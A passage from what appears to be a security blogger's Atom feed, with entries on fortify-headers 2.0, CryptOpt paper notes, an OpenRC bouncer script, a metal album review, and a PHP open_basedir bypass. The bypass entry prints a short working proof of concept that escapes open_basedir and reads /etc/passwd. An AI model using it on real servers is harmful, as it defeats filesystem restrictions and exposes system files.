href=\"https://gcc.gnu.org/legacy-ml/gcc-patches/2004-09/msg02055.html\"&gt;fortify-source&lt;/a&gt; implementation,\nwith the goal of implementing &lt;code&gt;FORTIFY_SOURCE=3&lt;/code&gt;, since the current version\nonly implemented &lt;code&gt;FORTIFY_SOURCE=2&lt;/code&gt;. I reached out to\n&lt;a href=\"https://u.2f30.org/sin/\"&gt;sin&lt;/a&gt;, the original maintainer, to ask if he was\ninterested in my changes, and he told me the …&lt;/p&gt;</summary><content type=\"html\">&lt;p&gt;8 months ago, I started to contribute to &lt;a href=\"https://git.2f30.org/fortify-headers/\"&gt;fortify-headers&lt;/a&gt;,\na standalone &lt;a href=\"https://gcc.gnu.org/legacy-ml/gcc-patches/2004-09/msg02055.html\"&gt;fortify-source&lt;/a&gt; implementation,\nwith the goal of implementing &lt;code&gt;FORTIFY_SOURCE=3&lt;/code&gt;, since the current version\nonly implemented &lt;code&gt;FORTIFY_SOURCE=2&lt;/code&gt;. I reached out to\n&lt;a href=\"https://u.2f30.org/sin/\"&gt;sin&lt;/a&gt;, the original maintainer, to ask if he was\ninterested in my changes, and he told me the project wasn't maintained\nanymore. But he would be happy to give me the commit bit instead. I spent\nsome months &lt;a href=\"https://github.com/jvoisin/fortify-headers\"&gt;writing code&lt;/a&gt; before\naccepting, to see if it would be a good idea: Would I be able to maintain it?\nTo improve it? Add more features? and so on. Turns out the answer is yes, and\nI'm thus happy to announce the immediate availability of &lt;a href=\"https://git.2f30.org/fortify-headers/refs.html\"&gt;fortify-headers\n2.0&lt;/a&gt;!&lt;/p&gt;\n&lt;h2&gt;Changelog&lt;/h2&gt;\n&lt;ul&gt;\n&lt;li&gt;Added clang support, based on &lt;a href=\"https://github.com/q66\"&gt;q66&lt;/a&gt;'s patches.&lt;/li&gt;\n&lt;li&gt;Fixed a 64b-related incompatibility around &lt;code&gt;ppoll&lt;/code&gt; &lt;/li&gt;\n&lt;li&gt;Added a ton of tests, with &lt;a href=\"https://jvoisin.github.io/fortify-headers/\"&gt;around 90% of coverage&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;Made use of &lt;code&gt;__builtin_dynamic_object_size&lt;/code&gt; when &lt;code&gt;FORTIFY_SOURCE=3&lt;/code&gt; is used,\n  instead of &lt;code&gt;__builtin_object_size&lt;/code&gt;.&lt;/li&gt;\n&lt;li&gt;Made use of &lt;a href=\"https://clang.llvm.org/docs/AttributeReference.html\"&gt;attributes&lt;/a&gt;:\n  &lt;a href=\"https://clang.llvm.org/docs/AttributeReference.html#alloc-size\"&gt;alloc_size&lt;/a&gt;,\n  &lt;a href=\"https://clang.llvm.org/docs/AttributeReference.html#diagnose-as-builtin\"&gt;diagnose_as_builtin&lt;/a&gt;,\n  &lt;a href=\"https://clang.llvm.org/docs/AttributeReference.html#diagnose-if\"&gt;diagnose_if&lt;/a&gt;,\n  &lt;a href=\"https://clang.llvm.org/docs/AttributeReference.html#format\"&gt;format&lt;/a&gt;,\n  &lt;a href=\"https://clang.llvm.org/docs/AttributeReference.html#malloc\"&gt;malloc&lt;/a&gt;,\n  &lt;a href=\"https://clang.llvm.org/docs/AttributeReference.html#nodiscard-warn-unused-result\"&gt;warn_unused_result&lt;/a&gt;,\n  …&lt;/li&gt;\n&lt;li&gt;Added some missing functions, like &lt;code&gt;calloc&lt;/code&gt;, &lt;code&gt;fdopen&lt;/code&gt;, &lt;code&gt;fmemopen&lt;/code&gt;, &lt;code&gt;fprintf&lt;/code&gt;,\n  &lt;code&gt;malloc&lt;/code&gt;, &lt;code&gt;memchr&lt;/code&gt;, &lt;code&gt;popen&lt;/code&gt;, &lt;code&gt;printf&lt;/code&gt;, &lt;code&gt;qsort&lt;/code&gt;, &lt;code&gt;umask&lt;/code&gt;, …&lt;/li&gt;\n&lt;li&gt;Added continuous integration, both on clang and gcc, covering the whole range\n  of supported versions across the latest Ubuntu LTS.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;h2&gt;Implementation details&lt;/h2&gt;\n&lt;p&gt;Since this is a pretty uncommon piece of software, friends of mine have been\nasking me details about the involved black magic.\nWhile it's possible to overload functions with the\n&lt;a href=\"https://clang.llvm.org/docs/AttributeReference.html#overloadable\"&gt;overloadable&lt;/a&gt;\nattribute in C, there isn't really something similar for drive-by overloading.\nFortunately, it's possible to hack an equivalent by combining\n&lt;a href=\"https://gcc.gnu.org/onlinedocs/cpp/Wrapper-Headers.html\"&gt;&lt;code&gt;#include_next&lt;/code&gt;&lt;/a&gt; with\nthe following macros:&lt;/p&gt;\n&lt;div class=\"codehilite\"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class=\"cp\"&gt;#define _FORTIFY_STR(s) #s&lt;/span&gt;\n&lt;span class=\"cp\"&gt;#define _FORTIFY_ORIG(p, fn) __typeof__(fn) __orig_##fn __asm__(_FORTIFY_STR(p) #fn)&lt;/span&gt;\n&lt;span class=\"cp\"&gt;#define _FORTIFY_FNB(fn) _FORTIFY_ORIG(__USER_LABEL_PREFIX__, fn)&lt;/span&gt;\n&lt;span class=\"cp\"&gt;#define _FORTIFY_FN(fn) _FORTIFY_FNB(fn); _FORTIFY_INLINE&lt;/span&gt;\n&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;\n\n&lt;p&gt;This makes the original function available when prefixed with &lt;code&gt;__orig&lt;/code&gt;,\nwhile allowing overloading.\nOn clang, the &lt;a href=\"https://clang.llvm.org/docs/AttributeReference.html#pass-object-size-pass-dynamic-object-size\"&gt;&lt;code&gt;pass_object_size&lt;/code&gt;/&lt;code&gt;pass_dynamic_object_size&lt;/code&gt;&lt;/a&gt;\nattribute is used to pass down arguments size; the assembly label preventing\nweird &lt;a href=\"https://en.wikipedia.org/wiki/Name_mangling\"&gt;mangling&lt;/a&gt; issues. Since\nit's only a label, despite being assembly, it's still portable across various\narchitectures. The &lt;code&gt;_FORTIFY_INLINE&lt;/code&gt; macro contains all possible \"please inline this\nfunction\" directives as possible, to avoid polluting the symbols.&lt;/p&gt;\n&lt;p&gt;There is of course a ton of &lt;code&gt;#ifdef&lt;/code&gt;/&lt;code&gt;#if __has_atribute&lt;/code&gt;/… to work around various\ncompiler intrinsics, like clang missing &lt;code&gt;__builtin_va_arg_pack&lt;/code&gt; or gcc missing\n&lt;code&gt;diagnose_if&lt;/code&gt;, so that fortify-headers will always make use of the most\nfeatures available.&lt;/p&gt;\n&lt;p&gt;It is indeed a particularly gross pile of hacks,\nbut this is C, also known as \"nice things and why we can't have them.\"&lt;/p&gt;\n&lt;p&gt;Thanks to &lt;a href=\"https://u.2f30.org/sin/\"&gt;sin&lt;/a&gt; for creating the project and\nmaintaining it for years, &lt;a href=\"https://daniel.micay.dev\"&gt;strcat&lt;/a&gt; for his inspiring\nwork on fortifying &lt;a href=\"https://en.wikipedia.org/wiki/Bionic_(software)\"&gt;bionic&lt;/a&gt;,\n&lt;a href=\"https://github.com/q66\"&gt;q66&lt;/a&gt; for his clang patches and general support,\nthe friendly people from &lt;a href=\"https://2f30.org\"&gt;2f30&lt;/a&gt; for their patience,\n&lt;a href=\"http://serge.liyun.free.fr/serge/\"&gt;Serge Sans Paille&lt;/a&gt; for his &lt;a href=\"https://github.com/serge-sans-paille/fortify-test-suite\"&gt;testsuite&lt;/a&gt;,\n&lt;a href=\"https://people.freebsd.org/~kevans/\"&gt;kevans&lt;/a&gt; for his work on fortifying\n&lt;a href=\"https://reviews.freebsd.org/D32306\"&gt;FreeBSD's libc&lt;/a&gt;,\nRed Hat from pushing &lt;code&gt;FORTIFY_SOURCE=2&lt;/code&gt; and &lt;code&gt;FORTIFY_SOURCE=3&lt;/code&gt; forward,\n...&lt;/p&gt;</content><category term=\"security\"></category></entry><entry><title>Paper notes: CryptOpt</title><link href=\"https://dustri.org/b/paper-notes-cryptopt.html\" rel=\"alternate\"></link><published>2023-12-01T12:30:00+01:00</published><updated>2023-12-01T12:30:00+01:00</updated><author><name>jvoisin</name></author><id>tag:dustri.org,2023-12-01:/b/paper-notes-cryptopt.html</id><summary type=\"html\">&lt;ul&gt;\n&lt;li&gt;Full title: CryptOpt: Verified Compilation with Randomized Program Search for Cryptographic Primitives&lt;/li&gt;\n&lt;li&gt;PDF: &lt;a href=\"https://arxiv.org/abs/2211.10665\"&gt;arXiv&lt;/a&gt; (&lt;a href=\"https://dustri.org/b/files/papers/cryptopt.pdf\"&gt;local mirror&lt;/a&gt;)&lt;/li&gt;\n&lt;li&gt;Authors: Joel Kuepper, Andres Erbsen, Jason Gross, Owen Conoly, Chuyue Sun, Samuel Tian, David Wu, Adam Chlipala, Chitchanok Chuengsatiansup, Daniel Genkin, Markus Wagner, Yuval Yarom&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;Cryptography is hard, high-performance one even more so: formal …&lt;/p&gt;</summary><content type=\"html\">&lt;ul&gt;\n&lt;li&gt;Full title: CryptOpt: Verified Compilation with Randomized Program Search for Cryptographic Primitives&lt;/li&gt;\n&lt;li&gt;PDF: &lt;a href=\"https://arxiv.org/abs/2211.10665\"&gt;arXiv&lt;/a&gt; (&lt;a href=\"https://dustri.org/b/files/papers/cryptopt.pdf\"&gt;local mirror&lt;/a&gt;)&lt;/li&gt;\n&lt;li&gt;Authors: Joel Kuepper, Andres Erbsen, Jason Gross, Owen Conoly, Chuyue Sun, Samuel Tian, David Wu, Adam Chlipala, Chitchanok Chuengsatiansup, Daniel Genkin, Markus Wagner, Yuval Yarom&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;Cryptography is hard, high-performance one even more so: formal proof of\nassembly implementations is horrible to model, and code generation from \nformal proofs are hard to lower to high-performance assembly. The core idea of\nCryptOpt is to treat this as a black box combinatorial optimization problem,\nand bruteforce possible solutions in a smart way against an oracle.&lt;/p&gt;\n&lt;p&gt;More precisely:&lt;/p&gt;\n&lt;ol&gt;\n&lt;li&gt;start from a known-correct implementation in\n  &lt;a href=\"https://github.com/mit-plv/fiat-crypto\"&gt;fiat-crypto&lt;/a&gt; (a\n  coq-powered high-level to low-level IR proven translator) low-level IR;&lt;/li&gt;\n&lt;li&gt;lower it via a fuzzer-like machinery replacing/reordering operands\n   applying semantics-and-data-constrains-preserving transformations, which has an acceptable\n   search space because:&lt;ul&gt;\n&lt;li&gt;it's straight-line no-aliasing constant-offset-pointers assembly;&lt;/li&gt;\n&lt;li&gt;transformations can be templatised, eg. &lt;code&gt;add ≍ clc; adcx&lt;/code&gt;;&lt;/li&gt;\n&lt;/ul&gt;\n&lt;/li&gt;\n&lt;li&gt;lift the resulting x64 assembly to fiat-crypto low-level IR;&lt;/li&gt;\n&lt;li&gt;use a custom &lt;a href=\"https://en.wikipedia.org/wiki/E-graph\"&gt;e-graph&lt;/a&gt; based \n  &lt;em&gt;equivalence checker&lt;/em&gt; implemented as a mix between an SMT solver and a symbolic-execution engine;&lt;/li&gt;\n&lt;li&gt;if the new implementation is correct, benchmark it against the current;\n   fastest one, and keep it if it's outperforming it.&lt;/li&gt;\n&lt;li&gt;&lt;code&gt;goto 2&lt;/code&gt;.&lt;/li&gt;\n&lt;/ol&gt;\n&lt;p&gt;This approach has a couple of advantages:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;fuzzers are cheaper than highly specialised engineering time&lt;/li&gt;\n&lt;li&gt;porting implementations to new hardware is simply a matter of\n  running CryptOpt on it.&lt;/li&gt;\n&lt;li&gt;by lifting the assembly to fiat-crypto low-level IR,\n  there is no need to write complex formal proofs,\n  since fiat-crypto is already taking care of those.&lt;/li&gt;\n&lt;li&gt;controlling the mutations allows to ensure that\n  the implementation stays side-channel free.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;The main issue though, is that one needs to formally implement \nwhatever algorithm to optimize in fiat-crypto, which is not that easy (and\nwhich the authors of the paper didn't do for libsecp256k1).&lt;/p&gt;\n&lt;p&gt;Implementation-wise, the author ran 200k mutations, with 20 initial candidates,\nover 18 Fiat IR primitives, taking between 20 and 40 CPU hours. Interestingly,\nsince the equivalence-based verification is &lt;em&gt;slow&lt;/em&gt; (between 0.1s and ~300s),\nit's only done once at the end. They found out that \"optimization progress is roughly logarithmic\nin the number of mutations.\" CryptOpt generates code around 1.20 to 2.50 times\nfaster than gcc/clang for the same fiat-crypto generated C code. It's not\nfaster then OpenSSL (but offers formally verified correctness), but is\nfaster than libsecp256k1.&lt;/p&gt;\n&lt;p&gt;The paper was &lt;a href=\"https://iacr.org/submit/files/slides/2023/rwc/rwc2023/85/slides.pdf\"&gt;presented&lt;/a&gt; at &lt;a href=\"https://rwc.iacr.org/2023/program.php\"&gt;Real World Crypto 2023&lt;/a&gt;,\nand like all good one, it came with an &lt;a href=\"https://github.com/0xADE1A1DE/CryptOpt\"&gt;implementation&lt;/a&gt;&lt;/p&gt;</content><category term=\"paper_notes\"></category></entry><entry><title>Managing a bouncer via OpenRC</title><link href=\"https://dustri.org/b/managing-a-bouncer-via-openrc.html\" rel=\"alternate\"></link><published>2023-11-24T16:30:00+01:00</published><updated>2023-11-24T16:30:00+01:00</updated><author><name>jvoisin</name></author><id>tag:dustri.org,2023-11-24:/b/managing-a-bouncer-via-openrc.html</id><summary type=\"html\">&lt;p&gt;I'm an avid &lt;a href=\"https://en.wikipedia.org/wiki/Internet_Relay_Chat\"&gt;IRC&lt;/a&gt;\nuser, and I'm using &lt;a href=\"https://en.wikipedia.org/wiki/XMPP\"&gt;XMPP&lt;/a&gt; to idle on\n&lt;a href=\"https://tails.net/support/index.en.html\"&gt;Tails&lt;/a&gt;' chatrooms. Since protocols\ntend to only work when one is connected, they're both running inside a\n&lt;a href=\"https://github.com/tmux/tmux\"&gt;tmux&lt;/a&gt; session, acting as a\n&lt;a href=\"https://en.wikipedia.org/wiki/BNC_(software)\"&gt;bouncer&lt;/a&gt;.\nBut now that my hypervisor is automatically rebooting to apply security updates,\nand during power …&lt;/p&gt;</summary><content type=\"html\">&lt;p&gt;I'm an avid &lt;a href=\"https://en.wikipedia.org/wiki/Internet_Relay_Chat\"&gt;IRC&lt;/a&gt;\nuser, and I'm using &lt;a href=\"https://en.wikipedia.org/wiki/XMPP\"&gt;XMPP&lt;/a&gt; to idle on\n&lt;a href=\"https://tails.net/support/index.en.html\"&gt;Tails&lt;/a&gt;' chatrooms. Since protocols\ntend to only work when one is connected, they're both running inside a\n&lt;a href=\"https://github.com/tmux/tmux\"&gt;tmux&lt;/a&gt; session, acting as a\n&lt;a href=\"https://en.wikipedia.org/wiki/BNC_(software)\"&gt;bouncer&lt;/a&gt;.\nBut now that my hypervisor is automatically rebooting to apply security updates,\nand during power cuts via &lt;a href=\"https://networkupstools.org/\"&gt;nut&lt;/a&gt;,\nI needed a way to automatically restart the bouncer. Since\nit's running in an &lt;a href=\"https://www.alpinelinux.org/\"&gt;Alpine Linux&lt;/a&gt; container,\nhere is my solution in the form of an &lt;a href=\"https://github.com/OpenRC/openrc\"&gt;OpenRC&lt;/a&gt;\nservice script, because I couldn't find one on the internet:&lt;/p&gt;\n&lt;div class=\"codehilite\"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class=\"ch\"&gt;#!/sbin/openrc-run&lt;/span&gt;\n\n&lt;span class=\"nv\"&gt;USER&lt;/span&gt;&lt;span class=\"o\"&gt;=&lt;/span&gt;jvoisin\n\n&lt;span class=\"nv\"&gt;name&lt;/span&gt;&lt;span class=\"o\"&gt;=&lt;/span&gt;&lt;span class=\"s2\"&gt;&amp;quot;chat&amp;quot;&lt;/span&gt;\n&lt;span class=\"nv\"&gt;command_user&lt;/span&gt;&lt;span class=\"o\"&gt;=&lt;/span&gt;&lt;span class=\"s2\"&gt;&amp;quot;&lt;/span&gt;&lt;span class=\"nv\"&gt;$USER&lt;/span&gt;&lt;span class=\"s2\"&gt;&amp;quot;&lt;/span&gt;\n&lt;span class=\"nv\"&gt;command&lt;/span&gt;&lt;span class=\"o\"&gt;=&lt;/span&gt;/usr/bin/tmux\n&lt;span class=\"nv\"&gt;command_args&lt;/span&gt;&lt;span class=\"o\"&gt;=&lt;/span&gt;&lt;span class=\"s2\"&gt;&amp;quot;new-session -s chat -d &amp;#39;/usr/bin/weechat&amp;#39; \\; new-window &amp;#39;/usr/bin/profanity&amp;#39; \\; select-window -t -1&amp;quot;&lt;/span&gt;\n&lt;span class=\"nv\"&gt;pidfile&lt;/span&gt;&lt;span class=\"o\"&gt;=&lt;/span&gt;&lt;span class=\"s2\"&gt;&amp;quot;/run/&lt;/span&gt;&lt;span class=\"nv\"&gt;$SVCNAME&lt;/span&gt;&lt;span class=\"s2\"&gt;.pid&amp;quot;&lt;/span&gt;\n\ndepend&lt;span class=\"o\"&gt;()&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"o\"&gt;{&lt;/span&gt;\n&lt;span class=\"w\"&gt;        &lt;/span&gt;need&lt;span class=\"w\"&gt; &lt;/span&gt;net\n&lt;span class=\"w\"&gt;        &lt;/span&gt;use&lt;span class=\"w\"&gt; &lt;/span&gt;dns&lt;span class=\"w\"&gt; &lt;/span&gt;\n&lt;span class=\"o\"&gt;}&lt;/span&gt;&lt;span class=\"w\"&gt;              &lt;/span&gt;\n\nstop&lt;span class=\"o\"&gt;()&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"o\"&gt;{&lt;/span&gt;\n&lt;span class=\"w\"&gt;        &lt;/span&gt;su&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"s2\"&gt;&amp;quot;&lt;/span&gt;&lt;span class=\"nv\"&gt;$USER&lt;/span&gt;&lt;span class=\"s2\"&gt;&amp;quot;&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;-c&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"s1\"&gt;&amp;#39;tmux kill-session chat&amp;#39;&lt;/span&gt;\n&lt;span class=\"o\"&gt;}&lt;/span&gt;\n&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content><category term=\"sysadmin\"></category></entry><entry><title>Netra - Ingrats</title><link href=\"https://dustri.org/b/netra-ingrats.html\" rel=\"alternate\"></link><published>2023-11-18T22:45:00+01:00</published><updated>2023-11-18T22:45:00+01:00</updated><author><name>jvoisin</name></author><id>tag:dustri.org,2023-11-18:/b/netra-ingrats.html</id><summary type=\"html\">&lt;p&gt;&lt;a href=\"https://hypnoticdirgerecords.bandcamp.com/album/ingrats\"&gt;&lt;img alt=\"Cover\" src=\"https://dustri.org/b/images/netra_ingrats.jpg\"&gt;&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;&lt;em&gt;Ingrats&lt;/em&gt; (\"ungrateful ones\" in French) is the 3&lt;sup&gt;rd&lt;/sup&gt; album from\nNetra, and it's a very lonely one, for I don't think it has any peers. A mix of\ndepressive black metal, trip hop, and jazz à la &lt;a href=\"https://en.wikipedia.org/wiki/Bohren_%26_der_Club_of_Gore\"&gt;Bohren &amp;amp; der Club of\nGore&lt;/a&gt; in equal\nmeasures, bound together with a …&lt;/p&gt;</summary><content type=\"html\">&lt;p&gt;&lt;a href=\"https://hypnoticdirgerecords.bandcamp.com/album/ingrats\"&gt;&lt;img alt=\"Cover\" src=\"https://dustri.org/b/images/netra_ingrats.jpg\"&gt;&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;&lt;em&gt;Ingrats&lt;/em&gt; (\"ungrateful ones\" in French) is the 3&lt;sup&gt;rd&lt;/sup&gt; album from\nNetra, and it's a very lonely one, for I don't think it has any peers. A mix of\ndepressive black metal, trip hop, and jazz à la &lt;a href=\"https://en.wikipedia.org/wiki/Bohren_%26_der_Club_of_Gore\"&gt;Bohren &amp;amp; der Club of\nGore&lt;/a&gt; in equal\nmeasures, bound together with a hint of depressive darkwave, resulting\nin a not only surprisingly cohesive and daring record, but also an excessively\npleasant and honest one.&lt;/p&gt;\n&lt;p&gt;Opening with \"Gimme a break\", a mellow jazzy noir blues vibe where one wants to\nsnap in rhythm, things quickly devolve into blast beats, raw screams and\ntwisted guitar of \"Everything’s Fine\", arguably the most black-metal-esque song\nof the album. Albeit it is way more than yet-another-black-metal-track,\nmorphing into something more complex, with an eerie piano melody, and some\nalmost gothic rock clear singing. The sudden transitions are perfectly\nexecuted, and the work on the voices is truly delicious, resulting in an\nalienating, impetuous yet melancholic track. \"Underneath my words the ruins of\nyours\" is a subtle mix of trip-hop and atmospheric post-rock/darkwave,\npursuing with \"Live with It\", even more trip-hop, but this time with a\n&lt;a href=\"https://en.wikipedia.org/wiki/Syncopation\"&gt;syncopated&lt;/a&gt; rhythm, 80s gothic\nrock, clean vocals and acoustic guitars, … it results in something like\nKatatonia doing a feat with &lt;a href=\"https://en.wikipedia.org/wiki/Gramatik\"&gt;Gramatik&lt;/a&gt;\nand &lt;a href=\"https://en.wikipedia.org/wiki/Ulver\"&gt;Ulver&lt;/a&gt; period early 2000s.&lt;/p&gt;\n&lt;p&gt;Then the calm before the storm, \"Infinite bordedom\", a one minute interlude of grainy piano under the rain,\nannouncing \"Don't Keep Me Waiting\", some sort of nihilist black metal track,\nbut with the noted presence of a saxophone and some clear touches of jazz. The presence of a whispered sample\nfrom &lt;a href=\"https://en.wikipedia.org/wiki/The_Minister\"&gt;L’exercice de l’État&lt;/a&gt;\nhas a gentle touch of &lt;a href=\"https://www.metal-archives.com/bands/B%C3%A2%27a/3540445572\"&gt;Ba'a&lt;/a&gt;. Moving on\nto \"A Genuinely Benevolent Man\", starting with synthesisers,\nthen a 4|4 kick resulting in something that could be on a &lt;a href=\"https://en.wikipedia.org/wiki/VNV_Nation\"&gt;VNV Nation&lt;/a&gt; album.\nUntil it decays into something more raw, and when the shrieking vocals\nare showing up, you didn't even realise that we've left the world of the darkwave\nto return into the one of black metal.&lt;/p&gt;\n&lt;p&gt;\"Paris or Me\", dark and rainy, with bits of triptop percussion,\nintroducing \"Could've, Should've, Would've\", with tasteful hints of Depeche Mode, Dead Can Dance,\npost-2000 Velvet Acid Christ, giving it a resolute tasteful darkwave-synth-pop-EBM\ncocktail. The album ends with \"Jusqu'au-boutiste\", starting with some jazzy piano on a &lt;a href=\"https://en.wikipedia.org/wiki/Bassline#Walking_bass\"&gt;walking\nbass&lt;/a&gt;, turning into an ultra-saturated tremolo riff with blast beats,\nand both worlds are alternating along the track, only interrupted by a very à\npropos sample from &lt;a href=\"https://en.wikipedia.org/wiki/Low_Down\"&gt;Low Down&lt;/a&gt;. It goes\non until the piano gets creepier and creepier, landing into strings,\nmorphing into dislocated tip-hop soul, beaching onto calm synthesisers,\nand ending with raw black metal as background for electronic sounds.&lt;/p&gt;\n&lt;p&gt;As &lt;a href=\"https://hypnoticdirgerecords.com/\"&gt;Hypnotic Dirge Records&lt;/a&gt;, the label on which the disc was produced, perfectly\nsummarised:&lt;/p&gt;\n&lt;blockquote&gt;\n&lt;p&gt;The perfect soundtrack for late-night walks in the city. The material on\n“Ingrats” is an all-out assault on the senses, a bitter pill that must be\nswallowed as an accompaniment for self-reflection. An album which can connect\nemotionally and leave you drained at the end.&lt;/p&gt;\n&lt;/blockquote&gt;</content><category term=\"music\"></category></entry><entry><title>ini_set based open_basedir bypass</title><link href=\"https://dustri.org/b/ini_set-based-open_basedir-bypass.html\" rel=\"alternate\"></link><published>2023-11-03T16:30:00+01:00</published><updated>2023-11-03T16:30:00+01:00</updated><author><name>jvoisin</name></author><id>tag:dustri.org,2023-11-03:/b/ini_set-based-open_basedir-bypass.html</id><summary type=\"html\">&lt;p&gt;This one was burned by &lt;a href=\"https://twitter.com/Blaklis_\"&gt;Blaklis&lt;/a&gt; in 2019,\nby being the expected solution for his \n&lt;a href=\"https://github.com/Blaklis/my-challenges/tree/master/phuck3\"&gt;Phuck3&lt;/a&gt; challenge\nfor InsomniHack Finals 2019, but has been known long before.&lt;/p&gt;\n&lt;p&gt;In the words of &lt;a href=\"https://www.php.net/manual/en/ini.core.php#ini.open-basedir\"&gt;PHP's documentation&lt;/a&gt; on &lt;code&gt;open_basedir&lt;/code&gt;:&lt;/p&gt;\n&lt;blockquote&gt;\n&lt;p&gt;When a script tries to access the filesystem, for example using include,\nor fopen(), the …&lt;/p&gt;&lt;/blockquote&gt;</summary><content type=\"html\">&lt;p&gt;This one was burned by &lt;a href=\"https://twitter.com/Blaklis_\"&gt;Blaklis&lt;/a&gt; in 2019,\nby being the expected solution for his \n&lt;a href=\"https://github.com/Blaklis/my-challenges/tree/master/phuck3\"&gt;Phuck3&lt;/a&gt; challenge\nfor InsomniHack Finals 2019, but has been known long before.&lt;/p&gt;\n&lt;p&gt;In the words of &lt;a href=\"https://www.php.net/manual/en/ini.core.php#ini.open-basedir\"&gt;PHP's documentation&lt;/a&gt; on &lt;code&gt;open_basedir&lt;/code&gt;:&lt;/p&gt;\n&lt;blockquote&gt;\n&lt;p&gt;When a script tries to access the filesystem, for example using include,\nor fopen(), the location of the file is checked. When the file is outside the\nspecified directory-tree, PHP will refuse to access it. All symbolic links are\nresolved, so it's not possible to avoid this restriction with a symlink. If the\nfile doesn't exist then the symlink couldn't be resolved and the filename is\ncompared to (a resolved) open_basedir. &lt;/p&gt;\n&lt;p&gt;[…]&lt;/p&gt;\n&lt;p&gt;open_basedir is just an extra safety net, that is in no way comprehensive, and can therefore not be relied upon when security is needed. &lt;/p&gt;\n&lt;/blockquote&gt;\n&lt;p&gt;It has been more or less fixed in &lt;a href=\"https://github.com/php/php-src/commit/ee9e07541f9f07762e3ee781102eea3a4190787c\"&gt;March 2021&lt;/a&gt;,\nthen again in &lt;a href=\"https://github.com/php/php-src/commit/61e98bf35eb939bdd7b27ad7938f8549db2e1551\"&gt;March 2023&lt;/a&gt;,\nand again in &lt;a href=\"https://github.com/php/php-src/commit/9bcdf219ec6e8d6c2a55f1712b7d868b9129ef8d\"&gt;July 2023&lt;/a&gt;.\nBut I wouldn't be surprised if more low-hanging bypasses were lurking ;)&lt;/p&gt;\n&lt;p&gt;The crux of the bypass is that php didn't resolve relative paths both in\n&lt;code&gt;ini_set&lt;/code&gt; and when checking &lt;code&gt;php_check_open_basedir&lt;/code&gt;:&lt;/p&gt;\n&lt;div class=\"codehilite\"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class=\"o\"&gt;&amp;lt;?&lt;/span&gt;&lt;span class=\"nx\"&gt;php&lt;/span&gt;\n&lt;span class=\"k\"&gt;echo&lt;/span&gt; &lt;span class=\"nb\"&gt;ini_get&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"s1\"&gt;&amp;#39;open_basedir&amp;#39;&lt;/span&gt;&lt;span class=\"p\"&gt;);&lt;/span&gt; &lt;span class=\"c1\"&gt;// /var/www/html&lt;/span&gt;\n&lt;span class=\"nb\"&gt;mkdir&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"s1\"&gt;&amp;#39;./tmp&amp;#39;&lt;/span&gt;&lt;span class=\"p\"&gt;);&lt;/span&gt;\n&lt;span class=\"nb\"&gt;chdir&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"s1\"&gt;&amp;#39;./tmp&amp;#39;&lt;/span&gt;&lt;span class=\"p\"&gt;);&lt;/span&gt;\n&lt;span class=\"nb\"&gt;ini_set&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"s1\"&gt;&amp;#39;open_basedir&amp;#39;&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt; &lt;span class=\"s1\"&gt;&amp;#39;..&amp;#39;&lt;/span&gt;&lt;span class=\"p\"&gt;);&lt;/span&gt;\n&lt;span class=\"k\"&gt;for&lt;/span&gt; &lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"nv\"&gt;$i&lt;/span&gt; &lt;span class=\"o\"&gt;=&lt;/span&gt; &lt;span class=\"mi\"&gt;1&lt;/span&gt;&lt;span class=\"p\"&gt;;&lt;/span&gt; &lt;span class=\"nv\"&gt;$i&lt;/span&gt; &lt;span class=\"o\"&gt;&amp;lt;=&lt;/span&gt; &lt;span class=\"mi\"&gt;24&lt;/span&gt;&lt;span class=\"p\"&gt;;&lt;/span&gt; &lt;span class=\"nv\"&gt;$i&lt;/span&gt;&lt;span class=\"o\"&gt;++&lt;/span&gt;&lt;span class=\"p\"&gt;)&lt;/span&gt; &lt;span class=\"p\"&gt;{&lt;/span&gt;\n    &lt;span class=\"nb\"&gt;chdir&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"s1\"&gt;&amp;#39;..&amp;#39;&lt;/span&gt;&lt;span class=\"p\"&gt;);&lt;/span&gt;\n&lt;span class=\"p\"&gt;}&lt;/span&gt;\n&lt;span class=\"nb\"&gt;ini_set&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"s1\"&gt;&amp;#39;open_basedir&amp;#39;&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt;&lt;span class=\"s1\"&gt;&amp;#39;/&amp;#39;&lt;/span&gt;&lt;span class=\"p\"&gt;)&lt;/span&gt;\n&lt;span class=\"k\"&gt;echo&lt;/span&gt; &lt;span class=\"nb\"&gt;file_get_contents&lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"s2\"&gt;&amp;quot;/etc/passwd&amp;quot;&lt;/span&gt;&lt;span class=\"p\"&gt;);&lt;/span&gt;\n&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content><category term=\"php\"></category></entry><entry><title>Book review: Locksport - A Hacker’s Guide to Lockpicking, Impressioning, and Safe Cracking</title><link 